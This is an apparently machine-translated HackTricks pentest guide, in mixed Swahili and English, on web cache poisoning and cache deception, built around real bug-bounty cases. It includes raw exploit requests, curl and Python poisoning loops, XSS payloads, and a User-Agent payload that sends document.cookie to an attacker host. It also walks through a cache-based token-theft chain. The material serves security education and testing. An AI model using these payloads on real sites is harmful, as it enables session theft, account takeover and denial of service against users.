Cache Poisoning and Cache Deception

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Tofauti

Nini tofauti kati ya web cache poisoning na web cache deception?

  • In web cache poisoning, mshambuliaji husababisha application kuhifadhi baadhi ya maudhui hatari katika cache, na maudhui haya hutolewa kutoka cache kwa watumiaji wengine wa application.
  • In web cache deception, mshambuliaji husababisha application kuhifadhi baadhi ya maudhui nyeti ya mtumiaji mwingine katika cache, kisha mshambuliaji anachukua maudhui hayo kutoka cache.

Cache Poisoning

Cache poisoning inalenga kuingilia client-side cache ili kumlazimisha mteja kupakia rasilimali zisizotarajiwa, zisizokamilika, au zilizo chini ya udhibiti wa mshambuliaji. Kiwango cha athari kinategemea umaarufu wa ukurasa uliathiriwa, kwani jibu lililochafu linaonyeshwa kwa watumiaji wanaotembelea ukurasa wakati wa uchafuzi wa cache.

Utekelezaji wa shambulio la cache poisoning unajumuisha hatua kadhaa:

  1. Identification of Unkeyed Inputs: Hizi ni vigezo ambavyo, ingawa havihitajiki kwa ombi kuhifadhiwa katika cache, vinaweza kubadilisha jibu linalotolewa na server. Kutambua vigezo hivi ni muhimu kwa sababu vinaweza kutumika kuathiri cache.
  2. Exploitation of the Unkeyed Inputs: Baada ya kutambua unkeyed inputs, hatua inayofuata ni kugundua jinsi ya kutumia vibaya vigezo hivi ili kubadilisha jibu la server kwa njia inayomfaa mshambuliaji.
  3. Ensuring the Poisoned Response is Cached: Hatua ya mwisho ni kuhakikisha kwamba jibu lililorekebishwa linawekwa kwenye cache. Kwa njia hii, mtumiaji yeyote anayefungua ukurasa uliathiriwa wakati cache imepoisoned atapokea jibu lililoharibika.

Ugunduzi: Angalia HTTP headers

Kwa kawaida, wakati jibu limehifadhiwa kwenye cache kutakuwa na header inayoonyesha hilo; unaweza kuangalia ni header zipi unapaswa kuzingatia katika chapisho hiki: HTTP Cache headers.

Ugunduzi: Kuwekwa kwa nambari za makosa kwenye cache

Ikiwa unadhani jibu linawekwa kwenye cache, unaweza jaribu kutuma maombi yenye header mbaya, ambayo inapaswa kurejeshwa na status code 400. Kisha jaribu kufikia ombi hilo kawaida na ikiwa jibu ni status code 400, utajua kuwa kuna udhaifu (na unaweza hata kutekeleza DoS).

You can find more options in:

Cache Poisoning to DoS

Walakini, kumbuka kwamba wakati mwingine aina hizi za status codes hazihifadhiwi kwenye cache, hivyo jaribio hili linaweza kuwa halitegemezeki.

Ugunduzi: Tambua na tathmini unkeyed inputs

Unaweza kutumia Param Miner ili brute-force parameters and headers ambazo zinaweza kubadilisha jibu la ukurasa. Kwa mfano, ukurasa unaweza kutumia header X-Forwarded-For kuonyesha client ipaku load script kutoka huko:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Chochea jibu hatari kutoka kwa server ya back-end

Mara baada ya kubaini parameter/header, angalia jinsi inavyosafishwa na wapi inarudishwa au inavyothiri jibu kutoka kwa kichwa. Je, unaweza kuitumia vibaya? (kutekeleza XSS au kupakia JS unayodhibiti? kutekeleza DoS?…)

Fanya jibu lihifadhiwe kwenye cache

Mara tu umebaini ukurasa unaoweza kutumiwa vibaya, parameter/header ipi ya kutumia na jinsi ya kuuitumia vibaya, unahitaji kufanya ukurasa uwekewe cache. Kutegemea rasilimali unayojaribu kuweka kwenye cache, hii inaweza kuchukua muda — huenda ukahitaji kujaribu kwa sekunde kadhaa.

Kichwa X-Cache katika jibu kinaweza kuwa msaada mkubwa kwani kinaweza kuwa na thamani miss wakati ombi halikuhifadhiwa kwenye cache na thamani hit wakati limehifadhiwa kwenye cache.\ Kichwa Cache-Control pia ni cha kuvutia kujua ikiwa rasilimali inahifadhiwa kwenye cache na lini rasilimali itahifadhiwa tena: Cache-Control: public, max-age=1800

Jambo jingine la kuvutia ni kichwa Vary. Kichwa hiki mara nyingi hutumika kuonyesha vichwa vya ziada vinavyotendewa kama sehemu ya funguo za cache hata kama kwa kawaida havitumiki kama funguo. Hivyo, ikiwa mtumiaji anajua User-Agent ya mwathiriwa anayemlenga, anaweza poison the cache kwa watumiaji wanaotumia User-Agent hiyo maalum.

Kichwa kingine kinachohusiana na cache ni Age. Kinaelezea muda kwa sekunde ambayo kitu kimekuwa kwenye proxy cache.

Unapohifadhi ombi kwenye cache, kuwa makini na vichwa unavyotumia kwa sababu baadhi yao yanaweza kutumika kwa namna isiyotegemewa kama keyed na mwathiriwa atahitaji kutumia kichwa hicho hicho. Daima jaribu Cache Poisoning kwa vivinjari tofauti ili kuangalia kama inafanya kazi.

Masomo ya kesi za msingi za Cache Poisoning

Redirect ya kimataifa ya HackerOne kupitia X-Forwarded-Host

  • Origin ilitumia redirects zilizo na template na canonical URLs kwa X-Forwarded-Host, lakini cache key ilitumia tu kichwa cha Host, hivyo jibu moja liliathiri kila mgeni aliyefika /.
  • Poison with:
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
  • Mara moja omba tena / bila spoofed header; ikiwa redirect itaendelea una global host-spoofing primitive ambayo mara nyingi hu-upgrade reflected redirects/Open Graph links kuwa stored issues.

GitHub repository DoS via Content-Type + PURGE

  • Anonymous traffic ilifungamanishwa tu kwa path, wakati backend ilipata error state ilipoona unexpected Content-Type. That error response ilikuwa cacheable kwa kila unauthenticated user wa repo.
  • GitHub pia (kwa bahati mbaya) iliheshimu PURGE verb, ikimruhusu attacker kuflush healthy entry na kulazimisha caches kuvuta poisoned variant kwa ombi:
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
  • Daima linganisha authenticated vs anonymous cache keys, fuzz rarely keyed headers such as Content-Type, na probe for exposed cache-maintenance verbs ili automate re-poisoning.

Shopify cross-host persistence loops

  • Multi-layer caches wakati mwingine zinahitaji multiple identical hits kabla ya kucommit object mpya. Shopify ilirudia kutumia cache ileile kwenye hosts nyingi zilizolocalize, hivyo persistence ilimaanisha athari kwa properties nyingi.
  • Tumia short automation loops fupi ili repeatedly reseed:
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
  • Baada ya hit response, crawl hosts/assets nyingine zinazoshiriki cache namespace ili kuonyesha cross-domain blast radius.

JS asset redirect → stored XSS chain

  • Private programs mara nyingi hu-host shared JS kama /assets/main.js kwenye subdomains kadhaa. Ikiwa X-Forwarded-Host inaathiri redirect logic kwa assets hizo lakini haija-keyed, cached response inakuwa 301 ikielekeza kwa attacker JS, na kusababisha stored XSS kila mahali asset hiyo inapoiswa/import.
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
  • Ramani ni hosts gani wanarudisha asset path ile ile ili uweze kuthibitisha multi-subdomain compromise.

GitLab static DoS kupitia X-HTTP-Method-Override

  • GitLab ilitoa static bundles kutoka Google Cloud Storage, ambazo zinaheshimu X-HTTP-Method-Override. Kubadilisha GET kuwa HEAD kulirudisha 200 OK inayoweza kuhifadhiwa (cacheable) na Content-Length: 0, na edge cache ilipuuzia HTTP method wakati wa kuunda key.
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
  • Ombi moja lilibadilisha JS bundle kwa mwili tupu kwa kila GET, kwa ufanisi likifanya DoSing ya UI. Kila mara jaribu method overrides (X-HTTP-Method-Override, X-Method-Override, etc.) dhidi ya static assets na thibitisha ikiwa cache inatofautiana kulingana na method.

HackerOne static asset loop kupitia X-Forwarded-Scheme

  • Rails’ Rack middleware iliamini X-Forwarded-Scheme kuamua ikiwa inapaswa kulazimisha HTTPS. Kufanya spoofing ya http dhidi ya /static/logo.png ilisababisha cacheable 301, hivyo watumiaji wote baadaye walipokea redirects (au loops) badala ya asset:
GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http
  • Changanya scheme spoofing na host spoofing inapowezekana ili kutengeneza irreversible redirects kwa resources zenye mwonekano mkubwa.

Cloudflare host-header casing mismatch

  • Cloudflare ilisawazisha Host header kwa cache keys lakini ilituma raw casing kwa origins. Kutuma Host: TaRgEt.CoM ilisababisha tabia mbadala katika origin routing/templating huku bado ikijaza canonical lowercase cache bucket.
GET / HTTP/1.1
Host: TaRgEt.CoM
  • Orodhesha tenants za CDN kwa kurudia mixed-case hosts (na normalized headers nyingine) na kufanya diff ya cached response dhidi ya origin response ili kugundua shared-platform cache poisonings.

Red Hat Open Graph meta poisoning

  • Kuingiza X-Forwarded-Host ndani ya Open Graph tags kulibadilisha reflected HTML injection kuwa stored XSS mara tu CDN ilipopakia ukurasa kwenye cache. Tumia harmless cache buster wakati wa upimaji ili kuepuka kuumiza production users:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>
  • Social media scrapers hutumia cached Open Graph tags, hivyo single poisoned entry inasambaza payload mbali zaidi ya direct visitors.

Mifano za Exploiting

Mfano rahisi kabisa

Kichwa kama X-Forwarded-For kinareflektwa kwenye response bila kusafishwa.
Unaweza kutuma basic XSS payload na poison the cache ili kila mtu anayefikia ukurasa atakuwa XSSed:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Kumbuka kwamba hii ita poison request kwa /en?region=uk sio kwa /en

Cache poisoning to DoS

Cache Poisoning to DoS

Cache poisoning through CDNs

Katika this writeup imeelezea sinario ifuatayo rahisi:

  • CDN itahifadhi (cache) chochote kilicho chini ya /share/
  • CDN HAITATAFSIRI wala ku-normalize %2F..%2F, kwa hivyo inaweza kutumika kama path traversal to access other sensitive locations that will be cached kama https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
  • Seva ya wavuti ITATAFSIRI na ku-normalize %2F..%2F, na itajibu kwa /api/auth/session, ambayo contains the auth token.

Cookies pia zinaweza kuakisiwa kwenye response ya ukurasa. Ikiwa unaweza kuzitumia kusababisha XSS kwa mfano, unaweza kuweza kutekeleza XSS kwenye wateja mbalimbali wanaopakia response mbaya ya cache.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Kumbuka kuwa ikiwa cookie yenye udhaifu inatumika sana na watumiaji, ombi za kawaida zitasafisha cache.

Kusababisha tofauti kwa vitenganishi, normalization na nukta

Angalia:

Cache Poisoning via URL discrepancies

Cache poisoning with path traversal to steal API key

This writeup explains jinsi ilivyoweza kuiba OpenAI API key kwa URL kama https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 kwa sababu chochote kinacholingana na /share/* kitatunzwa kwenye cache bila Cloudflare ku-normalise URL, jambo lililotokea wakati ombi lilipofika kwenye web server.

Hii pia inafafanuliwa vizuri zaidi katika:

Cache Poisoning via URL discrepancies

Using multiple headers to exploit web cache poisoning vulnerabilities

Wakati mwingine utahitaji exploit several unkeyed inputs ili uweze kutumia vibaya cache. Kwa mfano, unaweza kupata Open redirect ikiwa utaweka X-Forwarded-Host kwa domain unayodhibiti na X-Forwarded-Scheme kwa http. If the server is forwarding all the HTTP requests to HTTPS and using the header X-Forwarded-Scheme as the domain name for the redirect. Unaweza kudhibiti mahali ukurasa utaelekezwa na redirect.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Exploiting with limited Varyheader

Ikiwa umegundua kuwa header ya X-Host inatumiwa kama jina la kikoa kupakia rasilimali ya JS lakini header ya Vary katika jibu inaonyesha User-Agent, basi unahitaji kupata njia ya exfiltrate User-Agent ya victim na poison the cache ukitumia User-Agent hiyo:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Tuma ombi la GET ukiweka ombi ndani ya URL na pia ndani ya body. Ikiwa web server inatumia yale kutoka kwenye body lakini cache server inahifadhi yale kutoka kwenye URL, mtu yeyote anayefikia URL hiyo atatumia parameter kutoka kwenye body. Kama vuln James Kettle alivyopata kwenye tovuti ya Github:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

Kwa mfano inawezekana kutenganisha parameters kwenye ruby servers kwa kutumia char ; badala ya &. Hii inaweza kutumika kuweka thamani za parameters zisizo na key ndani ya zile zilizo na key na kuzitumia vibaya.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Jifunze hapa jinsi ya kufanya Cache Poisoning attacks by abusing HTTP Request Smuggling.

Automated testing for Web Cache Poisoning

The Web Cache Vulnerability Scanner inaweza kutumika kujaribu moja kwa moja web cache poisoning. Inasaidia mbinu nyingi tofauti na ni inayoweza kubadilishwa kwa urahisi.

Mfano wa matumizi: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

Mfano huu wa ulimwengu halisi unaunganisha primitive ya reflection inayotokana na header na tabia za CDN/WAF ili kwa uhakika ku-poison HTML inayohifadhiwa kwenye cache na kuhudumiwa kwa watumiaji wengine:

  • HTML kuu ilireflect header isiyokuwa ya kuaminika (kwa mfano, User-Agent) kwenye muktadha wa utekelezaji.
  • CDN iliondoa cache headers lakini cache ya ndani/origin ilikuwa ipo. CDN pia ilikuwa ikihakikisha auto-cached requests zenye extensions za static (kwa mfano, .js), wakati WAF ilitumia ukaguzi dhaifu zaidi wa content kwa GETs za static assets.
  • Coincidences katika mtiririko wa requests ziliruhusu request kwa path ya .js kuathiri cache key/variant inayotumika kwa HTML kuu iliyofuata, ikiruhusu XSS kwa watumiaji mbalimbali kupitia header reflection.

Mapishi ya vitendo (yaliyoonekana kwenye CDN/WAF maarufu):

  1. Kutoka kwenye IP safi (epuka downgrades za msingi wa reputation), weka User-Agent mbaya kupitia browser au Burp Proxy Match & Replace.
  2. Kwenye Burp Repeater, andaa kundi la requests mbili na tumia “Send group in parallel” (single-packet mode works best):
  • First request: GET resource ya .js kwenye origin moja huku ukituma User-Agent yako mbaya.
  • Immediately after: GET ukurasa mkuu (/).
  1. Race ya routing ya CDN/WAF pamoja na auto-cached .js mara nyingi huweka seeded poisoned cached HTML variant ambayo kisha huhudumiwa kwa wageni wengine wanaoshiriki vigezo vya cache key (kwa mfano, vigezo vya Vary kama User-Agent).

Example header payload (to exfiltrate non-HttpOnly cookies):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Operational tips:

  • CDNs nyingi zinaficha cache headers; poisoning inaweza kuonekana tu kwenye mizunguko ya refresh ya masaa mengi. Tumia vantage IP kadhaa na throttle ili kuepuka rate-limit au reputation triggers.
  • Kutumia IP kutoka kwa cloud ya CDN mara nyingine huboresha consistency ya routing.
  • Ikiwa strict CSP ipo, bado hii inafanya kazi ikiwa reflection inatekelezwa katika main HTML context na CSP inaruhusu inline execution au imebypass kwa context.

Impact:

  • Ikiwa session cookies haziko HttpOnly, zero-click ATO inawezekana kwa mass-exfiltrating document.cookie kutoka kwa watumiaji wote wanaopewa poisoned HTML.

Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)

Muundo maalum wa Sitecore unaruhusu uandishi bila uthibitisho kwenye HtmlCache kwa kunyonywa kwa pre‑auth XAML handlers na AjaxScriptManager reflection. Wakati handler ya Sitecore.Shell.Xaml.WebControl inafikiwa, xmlcontrol:GlobalHeader (iliyotokana na Sitecore.Web.UI.WebControl) inapatikana na call ya reflection ifuatayo inaruhusiwa:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Hii inaandika HTML yoyote chini ya cache key iliyochaguliwa na mshambuliaji, ikiruhusu cache poisoning yenye usahihi mara cache keys zinapojulikana.

For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):

Sitecore

Mifano Dhaifu

Apache Traffic Server (CVE-2021-27577)

ATS ilisafirisha fragment ndani ya URL bila kuiondoa na ilitengeneza cache key ikitumia tu host, path na query (ikipuuzia fragment). Hivyo request /#/../?r=javascript:alert(1) ilitumwa kwa backend kama /#/../?r=javascript:alert(1) na cache key haikuwa na payload ndani yake, bali tu host, path na query.

403 and Storage Buckets

Cloudflare hapo awali ilicache majibu ya 403. Jaribio la kufikia S3 au Azure Storage Blobs kwa vichwa vya Authorization visivyo sahihi lilipelekea majibu ya 403 yaliyochagizwa kwenye cache. Ingawa Cloudflare imeacha kucache majibu ya 403, tabia hii inaweza bado kuwepo katika proxy services nyingine.

Injecting Keyed Parameters

Caches mara nyingi hujumuisha vigezo maalum vya GET katika cache key. Kwa mfano, Varnish ya Fastly ilicache parameter size katika requests. Hata hivyo, ikiwa toleo lililotumwa kwa URL-encoding la parameter (mfano, siz%65) lilitumwa pia na thamani isiyo sahihi, cache key ilijengwa ikitumia parameter sahihi size. Hata hivyo, backend ilichakata thamani iliyoko kwenye parameter iliyokuwa URL-encoded. Kuwa URL-encode kwa parameter ya pili size kulisababisha kukosekana kwake katika cache lakini kutumika na backend. Kutoa thamani ya 0 kwa parameter hii kulisababisha hitilafu ya 400 Bad Request inayoweza kucached.

User Agent Rules

Baadhi ya watengenezaji huzuia requests zenye user-agents zinazolingana na za zana zenye trafiki kubwa kama FFUF au Nuclei ili kudhibiti mzigo wa server. Kitatanishi, mbinu hii inaweza kuleta udhaifu kama cache poisoning na DoS.

Illegal Header Fields

The RFC7230 specifies the acceptable characters in header names. Headers containing characters outside of the specified tchar range should ideally trigger a 400 Bad Request response. In practice, servers don’t always adhere to this standard. A notable example is Akamai, which forwards headers with invalid characters and caches any 400 error, as long as the cache-control header is not present. An exploitable pattern was identified where sending a header with an illegal character, such as \, would result in a cacheable 400 Bad Request error.

Kupata headers mpya

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

The goal of Cache Deception is to make clients load resources that are going to be saved by the cache with their sensitive information.

First of all note that extensions such as .css, .js, .png etc are usually configured to be saved in the cache. Therefore, if you access www.example.com/profile.php/nonexistent.js the cache will probably store the response because it sees the .js extension. But, if the application is replaying with the sensitive user contents stored in www.example.com/profile.php, you can steal those contents from other users.

Other things to test:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Tumia extensions zisizojulikana sana kama .avif

Another very clear example can be found in this write-up: https://hackerone.com/reports/593712.
In the example, it is explained that if you load a non-existent page like http://www.example.com/home.php/non-existent.css the content of http://www.example.com/home.php (with the user’s sensitive information) is going to be returned and the cache server is going to save the result.
Then, the mshambuliaji can access http://www.example.com/home.php/non-existent.css in their own browser and observe the confidential information of the users that accessed before.

Note that the cache proxy should be configured to cache files based on the extension of the file (.css) and not base on the content-type. In the example http://www.example.com/home.php/non-existent.css will have a text/html content-type instead of a text/css mime type.

Jifunze hapa kuhusu jinsi ya kufanya Cache Deceptions attacks abusing HTTP Request Smuggling.

CSPT-assisted authenticated cache poisoning (Account Takeover)

This pattern combines a Client-Side Path Traversal (CSPT) primitive in a Single-Page App (SPA) with extension-based CDN caching to publicly cache sensitive JSON that was originally only available via an authenticated API call.

Wazo kwa kiwango cha juu:

  • Endpoint ya API nyeti inahitaji custom auth header na imewekwa vizuri kama non-cacheable na origin.
  • Kuongeza suffix inayofanana na static (kwa mfano, .css) kunafanya CDN itazame path kama asset ya static na kucache response, mara nyingi bila kuzingatia sensitive headers.
  • The SPA contains CSPT: it concatenates a user-controlled path segment into the API URL while attaching the victim’s auth header (for example, X-Auth-Token). By injecting ../.. traversal, the authenticated fetch is redirected to the cacheable path variant (…/v1/token.css), causing the CDN to cache the victim’s token JSON under a public key.
  • Anyone can then GET that same cache key without authentication and retrieve the victim’s token.

Example

  • Sensitive endpoint (non-cacheable at origin):
GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • Kiambatisho kinachoonekana kuwa static hubadili CDN ili iwe cacheable:
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • CSPT katika SPA huambatanisha auth header na inaruhusu traversal:
const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');

const apiUrl = `https://api.example.com/v1/users/info/${userId}`;

fetch(apiUrl, {
method: 'GET',
headers: { 'X-Auth-Token': authToken }
});
  • Exploit chain:
  1. Mshawishi mwathirika kufungua URL inayoweka dot-segments katika parameter ya path ya SPA, kwa mfano:
  1. The SPA issues an authenticated fetch to:
  1. Browser normalization inaiweka kuwa:
  1. The CDN hulitendea .css kama asset ya static na huhifadhi JSON pamoja na Cache-Control: public, max-age=…
  2. Urejeshaji wa umma: mtu yeyote anaweza kisha GET https://api.example.com/v1/token.css na kupata JSON ya token iliyohifadhiwa.

Preconditions

  • SPA inafanya authenticated fetch/XHR kwa origin hiyo hiyo ya API (au cross-origin ikiwa CORS inafanya kazi) na inaambatisha headers nyeti au bearer tokens.
  • Edge/CDN inatumia extension-based caching kwa paths zinazoonekana static (mf., *.css, *.js, images) na haibadilishi cache key kwa header nyeti.
  • Origin ya endpoint ya msingi haiwezi kukaa cache (sahihi), lakini toleo lililo na suffix ya extension linaruhusiwa au halizuizwi na kanuni za edge.

Validation checklist

  • Tambua endpoints dinamikus nyeti na jaribu suffixes kama .css, .js, .jpg, .json. Tafuta Cache-Control: public/max-age na X-Cache: Hit (au sawa, mf., CF-Cache-Status) wakati maudhui bado ni JSON.
  • Tafuta client code inayochanganya input ya mtumiaji katika API paths huku ikiamsha auth headers. Ingiza mfululizo wa ../ ili kurejelea tena request iliyothibitishwa kwa endpoint ya lengo.
  • Thibitisha kuwa header iliyothibitishwa ipo kwenye request iliyorejeshwa (mf., kupitia proxy au kwenye server-side logs) na kuwa CDN inahifadhi response chini ya path iliyopita.
  • Kutoka kwa context safi (hakuna auth), omba path ileile na thibitisha kuwa JSON ya siri inatolewa kutoka cache.

Zana za Otomatiki

  • toxicache: Golang scanner kutafuta web cache poisoning vulnerabilities katika orodha ya URLs na kujaribu mbinu mbalimbali za injection.
  • CacheDecepHound: Python scanner iliyoundwa kugundua Cache Deception vulnerabilities kwenye web servers.

Marejeleo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks